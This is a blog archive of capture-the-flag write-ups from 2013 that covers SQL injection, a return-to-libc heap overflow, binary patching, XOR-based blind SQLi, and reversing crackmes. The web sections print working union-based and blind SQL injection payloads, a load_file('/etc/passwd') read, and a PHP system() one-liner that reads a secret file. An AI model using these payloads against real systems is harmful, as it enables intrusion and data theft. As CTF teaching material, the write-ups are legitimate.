Sunday, December 29, 2013

30C3 CTF - todos writeup

I don't have much experience with exploitation, so this one was pretty hard for me, but it was a very exciting challenge and I had lots of fun solving it. Here is the task description:
A simple todo manager, try it - when you find bugs, tell us, will add to our todo list... Thanks!
todos.tar.gz running on
Let's test the service first, so we get an idea about how it works.
$ nc 1234
Welcome to TTT (the todo tool)!
If you're new, try help
help: Print this help screen
register <user> <pass>: register a new user
login <user> <pass>: Login when you have registered already.
register balidani balidani
User successfully created.
login balidani balidani
logged in...
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry
We can register a user, store items and search them. The registered user and the stored items are persistent.

The tar contains a 64-bit ELF binary. Loading it up in IDA, we can see that it imports MySQL functions and not much else. It doesn't handle sockets, so it's probably just piped to a socket. If we look at the strings, we can also read the queries that the service uses:

After checking the code that uses these strings, the query used for searching looks vulnerable to SQL injection. We can quickly confirm this:
search x' union select 'AAAA
Found 1 entries, use 'show <num>' to show them.
show 0
0: AAAA%
Here we can sigh and mumble something about how SQL injection is overused in CTFs, blah, blah. But there is much more to this task, the CCCAC won't let us down with such a boring challenge. Trying to dump the database doesn't yield any interesting results. LOAD_FILE doesn't work either. It's time to move on.

There is a bigger vulnerability in the search function. It trusts the output of the first MySQL query, and uses that to determine if it has to allocate more space for the search results. If we use an union in the injected SQL query, we can bypass this, and overflow data after the struct that holds the search results. The first value after the search results is the result counter (at 203b68, relative address). After that, a struct follows with data for the menu of the service.

First, there is an integer that tells the program where the command is used (before (1) or after login (2), or both (3)). Then there are 4 pointers.

  • Command name
  • Command regex
  • Function pointer
  • Command help string
After this, there is some space for a compiled regex.

The service uses ASLR, so first we have to leak an address to get the base address. Fortunately, this is very easy to do in this case. We just have to overflow a bigger number to the result count part, and then read the 11th result, which just points to 0x203c68, where the function pointer for the login function is stored. After we get the address, we can subtract 0x19d0, which is the relative address for the login function. Now we have the base address, and we can bypass ASLR!

How can we exploit the service now? I decided to go with a Return to libc attack. Here are the steps to exploitation:

  • Find libc
  • Find the system functions address
  • Replace the function pointer of the add command (at 0x203d68) to system
  • Call the add command with our payload (ls, cat, any command)
To find libc addresses, we needed yet another way to leak information. One way to do this is by overflowing the help string pointer of a command and then checking the help.

During exploitation, there was a problem with overflowing non-ASCII data. The original approach was to use a payload like this:
x' <union select 10 thins from somewhere> union select char(10) union select unhex('aaaaaaaa')#
Where 'aaaaaaaa' is the payload, hex encoded. Somehow this didn't work for non-ASCII characters. Interestingly, it worked when the data wasn't overflown, but after the 10th selected item it stopped working. Then I switched to another method. We can register a new user, add an item containing non-ASCII values, and select that for the 12th or 13rd items. Here is the version of the exploit that does this:

Let's test the script:
$ python 0x00
Leaked: 7f454c46020101
And that is the start of a beautiful ELF header, hex encoded. Of course encountering any zero bytes will terminate the string. Now we can start reading stuff from the got. After a few tries, I found the address for fread. The entry in the got was at 0x2030f0.
$ python 0x2030f0
Leaked: 5098940cf87f
So fread is at 0x7ff80c949850, but this address is also changing because of ASLR, so we will need the offset from the base address instead. We find that it is -0xe917b0.

Now we can start poking around in libc, with the goal of finding system. Unfortunately the version of libc I had was different from the one on the server. How do we find the libc version? I spent lots of time on this, until a teammate showed me that there is a copyright string in libc with version info. After reading random addresses around fread, I found some strings, and from there finding the version info was easy. The address was -0xd75180.
Leaked: GNU C Library (Ubuntu EGLIBC 2.17-93ubuntu4) stable release version 2.17, by Roland McGrath et al.
After trying a few versions, I found that the AMD64 one matched the bytecode found in fread identically. From here, we can load the library in IDA, and calculate the offset difference between system and fread. The final offset for system was at -0xebace0. Here is the final exploit that overflows this address and then calls system with cat /home/user/flag

In the end we got a flag, and 300 points.

Thanks to CCCAC for the CTF, and to SpamAndHex for being an awesome team. This task felt very well thought out. I'm waiting to see other people's writeups, I'm sure there is a better way than mine.

Sunday, October 27, 2013

NotSoSecure CTF writeup

The NotSoSecure CTF was a one-player CTF with only 2 flags to capture. At the beginning, players were presented with a simple login page:

I was trying for a very long time to inject some SQL into the username of password fields, to no avail. Then when I was checking out Twitter, I found that somebody has already managed to log in by registering. Then I tried to load register.php, and it worked. I got a nice message there: "Invalid data".

I tried to send post data to the register page, but I couldn't get the post parameter names correctly, because I always received the "Invalid data" message. After this, I tried to load different pages with mixed results. Then when I tried /login/ the result was strange. The HTML was the same, but the CSS could not be loaded because of the different path. It was the same with /register/ and /login/login/.../.

After looking at the HTML source in detail, I found that the login parameters are actually submitted to checklogin.php. When trying to load the /checklogin/ page however, the browser displayed a redirection error. That was strange, so I checked it out with this little python code instead:

url = ""
print requests.get(url, allow_redirects=False).text
The result was: 7365637265745f72656769737465722e68746d6c. If we unhexlify this value, we get: "secret_register.html", and this is the first clue. After this I could register, and log in with the new user. This is what I saw when logging in:

Again I spent lots and lots of time trying to slip some SQLi into the system when registering, but it never seemed to work. No error messages, and the user was registered correctly every time. Then I looked at the cookies after logging in and I found something interesting:

The session_id was "cGxhaW50ZXh0QHBsYWludGV4dC5wbA%3D%3D", which is a base64 encoded string. After decoding it I got "", which is the fake e-mail address I registered with. During some tests I discovered that there is no session_id cookie if I try to inject into the username field. After this I wrote a python script that registers a user with the input I supply and checks the cookies. You can find the script here. These values were interesting:

registered value --> cookie
admin\           -->
admin\\          --> admin\
admin\\\         --> admin\
admin\\\\        --> admin\\
The backslashes are very suspiciously escaped here so I tried to do some SQLi and check the cookie for the results. Amazingly it worked. Here is the output of my script:
test' or 1=1--
test' and 1=0 union all select 1--
Cookie: missing
test' and 1=0 union all select 1,2--
Cookie: 1
Gotcha! It's time to dump table names and columns. A log of my tries follows, with some of the unnecessary tries deleted:

test' and 1=0 union all select 1,2 from information_schema.tables--
Cookie: 1
We have read access!
test' and 1=0 union all select table_name,2 from information_schema.tables limit 40,1--
Cookie: users
test' and 1=0 union all select table_schema,2 from information_schema.tables limit 40,1--
Cookie: 2ndorder
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 0,1--
Cookie: id
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 1,1--
Cookie: name
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 2,1--
Cookie: password
And I can find the password for the admin with this query:
test' and 1=0 union all select concat(name,char(0x20),password),1 from 2ndorder.users--
Cookie: admin sqlilabRocKs!!
Yay! I can now log in and get the first flag!

And I get a very clear clue about the second flag. I need to access files on the server, namely secret.txt. Let's see if I have file privileges in MySQL:
test' and 1=0 union all selectload_file('/etc/passwd'),1--
Cookie: root:x:0:0:root:/root:/bin/bash
I do, and I just found another clue: temp123 is a user that we might log into, because they have a weak password. And indeed, the password was "weakpassword1". I can now look around on the server to find the second flag. It's in the root directory and it's only readable by the www-data user, and so I need to have code execution from www-data. To achieve this, I created a public_html directory for user temp123 and placed a php file in it:
<?php echo system("cat /secret.txt"); ?>
This worked like a charm! After visiting I found the second flag.

Thanks for the challenge to Sid and NotSoSecure CTF, it was nice!

Thursday, October 24, 2013 CTF - Crypto 200 (Geier's Lambda) CTF was great! !SpamAndHex finished at #15, so there is room for improvement, but at the end of the first day we were at #3, which was pretty nice. Geier's Lambda was a crypto challenge, which we managed to solve third out of all the teams, even landing a bonus point. I did not work on this alone, thanks to the 2 other guys that worked on this!

The task

We were given a Haskell source for a cryptographic cipher. The task was to find a collision with a given key, which was "Le1sRI6I". First we wanted to identify the cipher to see if it's an already existing one. By googling the hex version of the integer constants (2654435769, 3337565984) we found that this is most probably the xTea cipher.

First we were trying to bruteforce the collision, but we were looking at it the wrong way. However, we found something important when playing with the haskell code -- the cipher only uses the first 4 characters from the key.

After inspecting the source in detail we found that the "hash" function of the code is not used anywhere, and this gave us a clue. We translated the haskell version to python:
def hash(passwd):
    acc = (1, 0)
    for x in passwd:
        (a, b) = acc
        acc = (a + ord(x), a + b + ord(x))
    (a, b) = acc
    return a | (b << 16)
All this function does is collecting the sum of ASCII values into one part of the tuple, and collecting another aggregate value into the other. It is quite easy to find a collision for this. This is the bruteforce approach:
def brute():
    arr = string.ascii_letters + string.digits
    for x in arr:
        for y in arr:
            for z in arr:
                for w in arr:
                    s = "%c%c%c%c" % (x,y,z,w)
                    if hash(s) == hash("Le1s"):
                        print s
This gave us a list of around 1000 possible keys. Then we wrote a function that evaluates the resulting key by executing the Haskell binary (that we compiled from the source) and checking the number of ASCII characters in the deciphered result:
for pwd in passwords:
process = Popen(['./pwd_check', pwd], stdout=PIPE)
stdout, stderr = process.communicate()
dat = stdout
hex_str = "%x" % (int(dat))
if len(hex_str) % 2 != 0:
hex_str = "0" + hex_str
res =  unhexlify(hex_str)
score = 0
for ch in string.ascii_letters + string.digits + " _":
if ch in res:
score += 1
if score > 5:
print res
And after running this, we got the key straight away: T3aP4rTy

Thanks again to the FluxFingers team for the nice challenges.

Sunday, September 29, 2013

No cON Name Facebook CTF qualifiers writeup

With only 3 tasks and no flag submission, the No cON Name Facebook CTF had a slightly unusual qualifier. On Twitter the organizers clarified that the qualifier is "not a CTF". The teams not only had to solve the tasks, they had to create writeups as well. The tasks were interesting, but they were surprisingly easy. I worked alone this time and solved the tasks pretty quickly.

Level 1

This was a web hacking challenge with some client-side JavaScript code to evaluate the key.

Looking at the underlying JavaScript we can see this obfuscated code:

After beautifying the code, this is what we can see:
var _0x52ae = [...];
eval(function (_0x7038x1, _0x7038x2, _0x7038x3, _0x7038x4, _0x7038x5, _0x7038x6) {
}(_0x52ae[0], 46, 46, _0x52ae[3][_0x52ae[2]](_0x52ae[1]), 0, {}));
The easiest way to deobfuscate this is to change "eval" to "console.log" (in chrome). This will print all of the unpacked JS source. Here is an interesting function:
function encrypt(form) {
    var res;
    res = numerical_value(form.password.value);
    res = res * (3 + 1 + 3 + 3 + 7);
    res = res >>> 6;
    res = res / 4;
    res = res ^ 4153;
    if (res != 0) {
        alert('Invalid password!')
    } else {
        alert('Correct password :)')
Any string that produces a numerical value between 62540 and 62544 will be accepted. Finally, this is how the numerical_value is computed:
function numerical_value(str) {
    var i, a = 0,
    for (i = 0; i < str.length; ++i) {
        b = ascii_one(str.charAt(i));
        a += b * (i + 1)
    return a
It is pretty straightforward to forge a key by hand now. This was one that worked for me: "}}zzzzzzzzzzzzzzzzzzzzzzzzzzzyyA". I started adding new letters until I was close to the target value. Then I changed the values that are close to the beginning to fine-tune it. It was a pretty bad idea to start with "z" characters, since there are very few characters with larger ASCII codes. Here is the flag as the result:

Level 2

The task here was to reverse-engineer an Android application package (apk) file. I cheated here and instead of looking at the source I looked at the resource files. There were 16 images that looked like parts of a QR code. It took me roughly 3 minutes to puzzle them together and after reading the QR code I got a flag:

Level 3

Level 3 was a 64-bit ELF executable. This is what happens when we launch the application:

I started reversing the ELF binary, but I'm terribly lazy and I wanted to do this as fast as I can, because if I were trying to get into the final with a team time would have mattered. I decided to write a script that tries every character until it is accepted and then continue with the next one. I figured out the first character by hand (it was a space, for some reason this was my third try) and then I knew what to look for in the output. Here is the script, it's pretty short:
from subprocess import Popen, PIPE, STDOUT
flag = ""
while True:
for x in range(32, 128):
p = Popen(['./level.elf'], stdout=PIPE, stdin=PIPE, stderr=PIPE)
stdout_data = p.communicate(input=(flag+chr(x)))[0]
if stdout_data.count("*") > len(flag):
flag += chr(x)
print flag
This is what we get when we run the script:

And here is the flag after trying the password:

Interesting challenge. I really should have reversed it instead. I will never be a better reverse engineer if I keep cheating. Next time!

Monday, September 23, 2013

CSAW CTF Quals - Reversing (100, 150, 300) write-ups

The CSAW CTF qualifier was a really cool "entry-level" CTF with some nice challenges. We finished in the 12th place with !SpamAndHex. Great team! Here is a write-up for the reverse 100, 150 and 300 tasks.

Reverse 100

This was the "CSAW Reversing 2013 1" challenge, and it was quite simple. When we start the application, this is what we see:

Once looking at the binary in IDA, we can clearly see that it calls "IsDebuggerPresent". 

This does quite the opposite of what we would expect, since usually we want to avoid the detection of the debugger. Here however, we will only see the correct flag if we launch the application in the debugger. Here is the flag:

I'm only doing a write-up for this task because there is no write-up on ctftime and I have a mild case of OCD.

Reverse 150 (bikinibonanza)

This was a much more interesting challenge, especially because I don't have much experience with reversing .NET binaries. I used JetBrains dotPeek to look at the source, which was obfuscated. Here is the most important part of the source:
this.eval_ᜀ("NeEd_MoRe_Bawlz", Convert.ToInt32(string.Format("{0}", (object) (now.Hour + 1))), ref strB);
if (string.Compare(text.ToUpper(), strB) == 0)
    this.eval_ᜂ.Text = "";
    Form1 form1 = this;
    int num1 = 107;
    int num2 = (int) form1.eval_ᜀ(num1);
    form1.eval_ᜀ((char) num2);
    this.eval_ᜂ.Text = string.Format(this.eval_ᜂ.Text, (object) this.eval_ᜀ(resourceManager));
    this.eval_ᜃ.Image = (Image) resourceManager.GetObject("Sorry You Suck");
    this.eval_ᜃ.Image = (Image) resourceManager.GetObject("Almost There");
The strings are a bit misleading here. The "Sorry You Suck" message actually refers to the image that says "YOU DID IT". This image was retrieved from the binary, but it can also be found using dotPeek:

So we need to get the execution to the first part of the if branch. I know, we should patch the binary! I never patched a .NET binary before though. Here is what I did.

I looked at the binary in IDA and searched for the branch that needs changing. I also made sure to change the settings so that the byte code is visible. This is how I will later find the correct sequence of bytes in the binary.

The branch is done by the brtrue.s instruction, so we should change that to brfalse.s. A quick google query shows us the correct byte code to use (2C instead of 2D). Then I patched the binary with my favorite hex editor. Here I made sure that there is only one occurence of the byte sequence that I am changing. After running the patched application, I got a key right away!

Reverse 300 (crackme)

For this challenge we received both a binary and an IP/port pair where the service runs, which means we couldn't cheat with patching any more. The service asked for a key and checked it. The task here was to write a simple keygen. Fortunately the algorithm that checks the key wasn't very complicated and it was prone to a very simple attack.

Here is the decompiled C code that asks for the key:

sub_8048EA0 could be renamed to "check_key". Here is the decompiled code that was inside:
signed int __cdecl sub_8048EA0(unsigned __int8 *a1)
  int v1; // ST0C_4@3
  unsigned __int8 v3; // [sp+3h] [bp-Dh]@1
  signed int v4; // [sp+4h] [bp-Ch]@1
  unsigned __int8 *v5; // [sp+8h] [bp-8h]@2

  v3 = *a1;
  v4 = 1337;
  if ( *a1 )
    v5 = a1;
      v1 = 32 * v4 + v3;
      v3 = (v5++)[1];
      v4 += v1;
    while ( v3 );
  return v4;
Partly because I was lazy and partly because I wanted to finish the task as quick as possible, I decided to brute-force the key. We can see that the algorithm computes a DWORD value starting at 1337. Later it will be compared with a pre-defined value, which is 0xEF2E3558. We can also see that each new byte in the key is added to the current "hash" after it was multiplied by 32.

This is how we can re-write the function in python:
hash = 1337
for d in data:
    v1 = 32 * hash + ord(d)
    hash += v1
    # to emulate 32-bit integers
    if hash > 0xffffffff:
        hash &= 0xffffffff
We can write a script that starts creating random keys of any length and see how close the hash is to the desired result. I worked with 84 character long hashes for some weird reason that I can't remember. To avoid problems I only generated ASCII keys.

Then I found a key that was really close to the hash we needed, so from there I started modifying the last few bytes by hand so that the results match exactly. After a few tries, this is the key I found:
]#&uN|Jl4@BHBZx%U*5 s$19):>\p9A2K%nwB)3N8/xKF?+8Ygah,cedFRw_$tAUm/2\y(:;P\^=3v_qxqo7
Ugly or not, this key earned us 300 more points :)
Thank you, valued customer!
Your key is: day 145: they still do not realize this software sucks
Thanks for the CSAW organizers for a really neat CTF! We had tons of fun with all the challenges.

Saturday, August 3, 2013

ebCTF bin100-300 write-up

After the ebCTF teaser there were a few CTFs that I couldn't seriously attend due to a lack of time. The challenges I solved weren't that hard and I decided not to write a post about them. Last night I spent 2 hours on the ebCTF binary tasks and decided to write about them.


This task was an upgraded version of the dice game from the teaser. Interestingly, the pageview count on the write-up I made about the task from the teaser increased tenfold since yesterday. The solution is basically the same, so I won't go into much detail here.

This time the executable is an ELF, and the structure is a bit different, but we can just as easily find the critical compare instructions. Here is one of them:

Then we can change the bytecode of the jnz instruction (75) to the bytecode of a jz instruction (74). The last comparisions use a different bytecode for the conditional jump (0f 85), but this is just as easily patched.

Then we can run the executable and wait to get "unlucky" and miss all 5 numbers. 


The second binary task was a bit more challenging. After loading it into IDA it does some suspicious things. It loads a library called p2x5123.dll and then calls the RunPerl function. I tried googling for a few strings related to this library and searching for "-p2x_debug" showed me a page that practically solved the problem.

The tool used here is called perl2exe and it can run perl code inside an executable without perl being installed on the machine. Here is the part that calls the RunPerl function:

I started debugging and stepped into the RunPerl call. Then I tried dumping the executable at various places and found a very useful string:

[*] Yes, that is correct! However that was not the goal of this challenge.

Did you know that compiled code does not contain any comments?
So the task is to get the source of the perl script, not to get the correct password. The flag should be in the comments. This is just what the page I linked to above explains.
Since at this point the files are decrypted, forcing the jmp at: 28091BE1 and the jmp at: 28091BE1, will enable you to drop the “” file [...]
There is another important trick that the page tells us. We can use the -p2x_debug flag when running the application to get debug information. Instead of getting the DLL and running/debugging it, I decided to work from the executable itself with the debug flag turned on.

We have to step into the first call (unk_280ac0a5), since this is where the files are decrypted. After a few steps we get to the part that is also shown in the perl2exe tutorial:
p2x5123.dll:280AC503 push    offset aIsext_initFile
; "ISEXT_Init: filename = %s\n"
p2x5123.dll:280AC508 call    off_280B22CC
p2x5123.dll:280AC50E pop     ecx
p2x5123.dll:280AC50F pop     ecx
p2x5123.dll:280AC510 loc_280AC510:
p2x5123.dll:280AC510 push    offset unk_280C6224
p2x5123.dll:280AC515 push    esi
p2x5123.dll:280AC516 call    edi ; msvcrt_strstr
p2x5123.dll:280AC518 pop     ecx
p2x5123.dll:280AC519 cmp     eax, esi
p2x5123.dll:280AC51B pop     ecx
p2x5123.dll:280AC51C jz      loc_280AC627
p2x5123.dll:280AC522 push    offset unk_280C621C
p2x5123.dll:280AC527 push    esi
p2x5123.dll:280AC528 call    edi ; msvcrt_strstr
p2x5123.dll:280AC52A pop     ecx
p2x5123.dll:280AC52B cmp     eax, esi
p2x5123.dll:280AC52D pop     ecx
p2x5123.dll:280AC52E jnz     short loc_280AC559
The last jnz instruction is what we have to force to get the decrypted file saved. Actually the jump should not happen in order to save the file. We set a breakpoint to the call off_280b22cc instruction, which displays the current file as debug information and wait until we get to After that we toggle the Z flag on the jnz instruction and continue debugging.

This should dump a file called into the same directory where the p2x DLL is stored. Looking at the source we can immediately see the flag:

The final flag was ebCTF{edbdb03c7998fa751be21d1364a58600}, and we just scored 200 points.


This challenge is somewhat similar to the previous one, and I wouldn't say it's harder. The file we get is a 64bit ELF executable. Let's take a look in our beloved IDA.

It looks like there is some decryption going on and after that luaL_loadbuffer is called, which indicates that the decrypted data is a lua script. The script is marked as content_2593. We should fire up gdb and look at the decrypted source. This could be done by placing a breakpoint on the luaL_loadbuffer call.
(gdb) disas load_challenge_lua
(gdb) b *load_challenge_lua+130
The breakpoint is placed now. We should note that what was content_2593 in IDA is now $0x627340 in gdb. This is what we will have to look at.
(gdb) r
Starting program: /home/dada/Desktop/moon
Breakpoint 1, 0x000000000040224e in load_challenge_lua ()
(gdb) x/128x 0x627340
And here we get a bunch of bytes:
0x203d2070 0x31313435 0x37333031 0x3d20670a
0x33363520 0x0a0a3132 0x772e6f69 0x65746972
0x6e452228 0x20726574 0x72756f79 0x73617020
0x726f7773 0x22203a64 0x6f690a29 0x756c662e
0x29286873 0x7361700a 0x726f7773 0x6f693d64
0x6165722e 0x0a292864 0x73206669 0x6e697274
0x656c2e67 0x6170286e 0x6f777373 0x20296472
0x33203d7e 0x68742032 0x200a6e65 0x70202020
0x746e6972 0x72572228 0x21676e6f 0x200a2922
0x72202020 0x72757465 0x0a30206e 0x0a646e65
0x3d20760a 0x610a6720 0x6168706c 0x22203d20
0x33323130 0x37363534 0x62613938 0x66656463
0x6f660a22 0x6f6c2072 0x3d20706f 0x32332c31
0x0a6f6420 0x20202020 0x203d2076 0x202a2076
0x20200a67 0x20762020 0x2076203d 0x0a702025
0x20202020 0x203d2072 0x20252076 0x200a3631
0x67202020 0x20646f6f 0x7473203d 0x676e6972
0x6275732e 0x706c6128 0x722c6168 0x722c312b
0x0a29312b 0x20202020 0x67206669 0x20646f6f
0x73203d7e 0x6e697274 0x75732e67 0x61702862
0x6f777373 0x6c2c6472 0x2c706f6f 0x706f6f6c
0x68742029 0x200a6e65 0x20202020 0x70202020
0x746e6972 0x72572228 0x21676e6f 0x200a2922
0x20202020 0x72202020 0x72757465 0x0a30206e
0x20202020 0x0a646e65 0x0a646e65 0x6e697270
0x57222874 0x206c6c65 0x656e6f64 0x6874202c
0x6c662065 0x69206761 0x65203a73 0x46544362
0x2e2e227b 0x73736170 0x64726f77 0x7d222e2e
0x2d0a2922 0x3066202d 0x33333232 0x34616361
0x31393338 0x65653432 0x61666636 0x38363637
0x34633338 0x000a6537 0x00000000 0x00000000
All that is left is to reverse the bytes inside these dwords (endianness) and unhexlify them. We get the following lua script source:
p = 54111037
g = 56321
io.write("Enter your password: ")
if string.len(password) ~= 32 then
    return 0
v = g
alpha = "0123456789abcdef"
for loop =1,32 do
    v = v * g
    v = v % p
    r = v % 16
    good = string.sub(alpha,r+1,r+1)
    if good ~= string.sub(password,loop,loop) then
        return 0
print("Well done, the flag is: ebCTF{"..password.."}")
-- f02233aca4839124ee6ffa766883c47e
The flag is contained in the comments again. We can now submit ebCTF{f02233aca4839124ee6ffa766883c47e} and score 300 more points.

All in all these were really nice challenges, thanks to the guys at Eindbazen!

Saturday, June 1, 2013

ebCTF - binary and web write-up

The first ever ebCTF (teaser) has just finished and I must say it was really well organized and the tasks were great too. The CTF lasted for 8 hours and there were 6 tasks in total. I only had a few hours to play but I managed to solve 3 of them with my one person team.

Dice Game

Dice Game was a binary challenge worth 100 points.  It turned out to be the easiest task, but I had fun cracking it. I may have taken an alternate route so it will be interesting to look at other write-ups. Let's see.

The program is a text-based game where the player has to roll a specific number on a dice.

Something tells me that solving this by pure luck would be unfeasible. Let's look at the binary in IDA. There are some interesting strings:

Rolling 7 on a 6 sided dice? I don't think so. But we can look at the routine that prints the flag. The block that prints the flag doesn't make much sense at first and I'm too lazy to reverse it so I decide to look for the parts where the rolled numbers are checked. They are pretty easy to find.

We could try to debug this step-by-step and modify the Z flag after the cmp instructions. But what worries me is that there are calls to a time function after each roll. This might mean that the binary tries to detect debugging and I don't want to waste time.

Now I could try debugging this with DarkOlly, it has pretty good techniques to evade detection. I decided not to use Olly however. Patching the binary seemed much more fun.

I don't have a version of IDA that is capable of patching so I did it manually. I decided to look for the critical cmp instructions and patch there. To do this, I turned on visible opcode bytes in IDA (Options/General/... Number of opcode bytes). This is what it looked like afterwards:

My idea was to change the jnz instruction into a jz, because _not_ rolling a specific number (especially 7) is much easier. I just had to make sure that "83 7d a4 03 75 5e" only exists once in the binary so I'm overwriting at the correct place.

Changing 75 to 74 (jz) did the trick. This had to be repeated 4 more times. The last two instructions were near jump opcodes (0f 85). In this case 85 had to be changed to 84.

After patching the binary I got the flag on my second try.

My team was the second to get any points so I guess this method wasn't too bad in terms of speed :)

Wooden Shoes

Wooden Shoes was the title of the web challenge. It was worth 200 points and it turned out to be the 3rd hardest task. After opening the site this is what we see:

Entering an apostrophe results in an error that gives us an important clue. 

When entering a well-formed search string we get a different url.

So the search string and the column that we sort by is somehow turned into a large hex value. Changing the hex value causes an internal server error, which is good. We can suspect that this hex value is somehow decrypted on the server, and then its contents are used for the query. We should hope that the restrictions are more lax after the value was decrypted. Let's figure out the format!

I made lots of queries and compared the 'what' part of the urls. Some of them are here:
a   - 074a9b5552ab43
b   - 044a9b5552ab43
c   - 054a9b5552ab43
aa  - 0721e15749a145d9
ab  - 0722e15749a145d9
ac  - 0723e15749a145d9
aaa - 07218a2d4bba4fdfdb
Looks like 1 character adds 1 byte to the hex value. When changing a single character only the corresponding hex byte changes. Changing the first character by 1 does not result in a change by 1 in the hex value, but it does with the second character. The first and only idea I had was some XOR encryption. It turned out to be right:
0x07 ^ 0x97 == 0x04 ^ 0x98 == 0x05 ^ 0x99
So I entered lots and lots of spaces to figure out the key. It was 32 characters long and kept repeating after that. Then I figured out the syntax of the encrypted data. First comes the search query then a newline character and then the sort-by column's name.
I wrote a tool that would encrypt any data for me. I tried putting SQLi payloads into the search query but that didn't work. All that was left was the order-by column part. This meant that the exploit will most likely be blind.
It was quite easy to confirm that there is an SQLi vulnerability but exploiting it seemed impossible. I couldn't access the information_schema and a query that returned 2 rows in the order by clause wouldn't result in an error.

After many tries I decided that this could not be MySQL and started looking at other possibilities. PostgreSQL - nope, Oracle - nope, MS SQL - nope. SQLite - yes! Yay and nay, because I didn't know a single thing about SQLite, especially about its SQLi specifics.
After a few google queries I found what I needed: sqlite_master is the table that contains all the metadata.
The solution was trivial from here. Here are 2 interesting queries that would do the trick with a python script:
case when (select 1 from (select sql from sqlite_master where type='table' and tbl_name='secret_flag' limit 0,1) t where substr(t.sql,%s,1)>='%s') then `price` else `stock` end--
case when (select 1 from (select flag from secret_flag limit 0,1) t where substr(t.flag,%s,1)>='%s') then `price` else `stock` end--
Here is the script in action:

Sunday, May 26, 2013

Secuinside CTF - Banking write-up

Unfortunately I only had a couple of hours to solve tasks in this year's Secuinside CTF. Banking was a web-based challenge for 300 points. Since the challenge isn't online any more I can't really take pictures and I have to write this from memory.


The application was imitating a bank. You could register an id and pass and transfer money to other account numbers. You could also list other accounts and the amount of money on them. After looking at the source I found out that all of the commands are executed through JavaScript. The script sent POST requests to a PHP page called cmd.php, which returned data in JSON format. There was also a WebSocket used to send/receive JSON data in some cases.

After looking around in the JavaScript file I found a function named listing. This function was used to get a list of the existing account numbers and the amount of money on them. There was an SQLi vulnerability in the second parameter.

I decided to write the exploit in JavaScript. There was a function named handleLoad which opened a WebSocket and added a handler to the onmessage event. I decided to rewrite this function so that the message is logged on the JS console. I created this new handleLoad2 function:
var handleLoad2 = function() {
    ws = new WebSocket("ws://");
    ws.onopen = function(){
        ws_ready = 1;
    ws.onclose = function(){ console.log("closed!"); }
    ws.onmessage = function(evt){ console.log(evt); }
This way I could see the listing function's result directly on the console. Then I made sure there is a vulnerability:
listing("balance", "desc");
This returned all of the accounts in a JSON object.
listing("balance", "desc limit 1,1");
This is where I knew there is a vulnerability

This only returned a single row. Neat, this is clearly vulnerable. All we have to do now is set up a query that blindly reads data from the database.

I created a JS function that reads a single letter from a selected table/schema/column name and finally from the flag itself. To achieve this I modified the handleLoad2 function too because here is where the responses come in from my queries. Here is an example query that I sent in the second parameter of the listing function. This one reads a character (with the index letter_id) from a table_schema value with a given index (limit_id).
var payload = "desc, (select t.table_schema from (select distinct table_schema from information_schema.tables limit " + limit_id + ",1) t where ord(substring(t.table_schema," + letter_id +",1))& " + x + "=" + x + " union all select 1) limit 1,1";
Then I read the table_schemas and found an interesting one called "flag_db". Inside this schema there was a single table called "flag_tbl" and this had a single column called "flag". Here is the final exploit that reads the flag character by character:

The flag was TheG0d0fGrabs_M4dL1F3.

Other web tasks

I also solved the "secure web" and "secure web revenge" tasks, but these were surprisingly easy. I uploaded a PHP shell and found a user named "dwh300". This user had a file named "flags" in its home folder which was readable and contained the key. The second version was the same except the home folder itself was not listable.

The last web challenge was "The Bank Robber". I found another blind SQLi vulnerability here but there wasn't enough time left to exploit it. The column name in a WHERE clause was injectable but spaces and commenting out the rest of the query were not allowed.

It was a nice CTF. I was in a 2 man team this time and we finished 46th. It's not too bad given that we only had a couple of hours to work on tasks.

Thursday, May 23, 2013

h34dump CTF write-ups

The h34dump CTF team from Novosibirsk hosted an awesome CTF today as a part of the PHDays conference. It was a school CTF with easier tasks. Let's see the solutions for some of the challenges.


Type: web
Points: 50
The task description is a link to a webpage. After opening the page this is what we see:

A simple page made with bootstrap that contains a login form. Trying some SQLi vectors doesn't help here. Then I started looking for hints and checked the cookies. And then it hit me. The task's name is 'food' and there is a picture of cookies. Of course.

There was a single cookie with the name 'is_super_admin' and its value was false. We can change this to true and after refreshing we find level 2. Another cookie appears with the name 'good_job!level2_calc_100500^2'. The task is quite obvious here so I pop up a python interpreter.
>>> 100500**2
I change the second cookie's value and the first task is solved.


Type: web
Points: 200
The task description is a link again and this is what the page looks like:

The url is
This looks like a classic LFI, but trying to load /etc/passwd doesn't work. The next thing I try to include is index.php.
Again this fails, but if we change the directory it will finally work.
After including the php file we see some php code on the screen, but to see it all we have to look into the source.

And the source contains an interesting line: 
static $black_list = array('flag_for_super_hacker.txt');
Looking at this text file gives us the flag:
k3y is l0c4l_c0d3_3x3cut10n_1s_f1n3
This task was a bit strange for me. Usually when php code is included via LFI the code is filtered out between the <?php and ?> tags.

All in all the web tasks were pretty easy, but since these tasks are intented for beginners I can understand this.


Type: binary
Points: 100 
Keyasker was the first binary challenge. It is still available online here. Unless they took it down already, feel free to try cracking it yourself before reading the solution. This is what the application looked like from the "outside".

Let's see it in IDA. We load the binary and start looking around. The first thing I did was to look at the strings window.

Looking at the xrefs showed me where the key is checked. After this I looked at the pseudocode (Options/Compiler... sizeof(bool) =  4). Here is the most important part:

sprintf(&v11, "%08x", v5);
if ( memcmp(&v11, &v10[8 * v8], 8u) )
    goto LABEL_17;
if ( *(_BYTE *)v2 ) {
    v1 = v2;
    goto LABEL_14;
return puts("Great! Now go and get your points!");

The above code runs after a part of the input is "hashed" using the "I'm related to flag" string as a sort-of salt (at least this is what I thought initially). v11 is the address for the hashed data and v10 points to the input. LABEL_17 prints "No :(" and exits, while LABEL_14 continues the "hashing". The code checks whether the first 8 bytes of the "hash" equals the key. If it does, it continues checking the next 8 bytes and so on.

The part that hashes the input was kind-of obfuscated and I was too lazy to fully understand what it does. This spared me a load of time because I started trying sample inputs rather than reverse engineering the hash function. Based on the code I knew that the key is 32 characters long. I set up a few breakpoints and entered a few input values. After a few values I realized that the "hash" is always the same and it doesn't even use the input, it comes purely from the string "I'm related to flag".

After discovering this the solution was easy. I entered a test value and looked at the first 8 bytes of the hash. I stopped debugging and entered a new value with the correct first 8 bytes. I did this until I got all of the 32 bytes correctly.

The flag was this key:


Type: binary
Points: 200
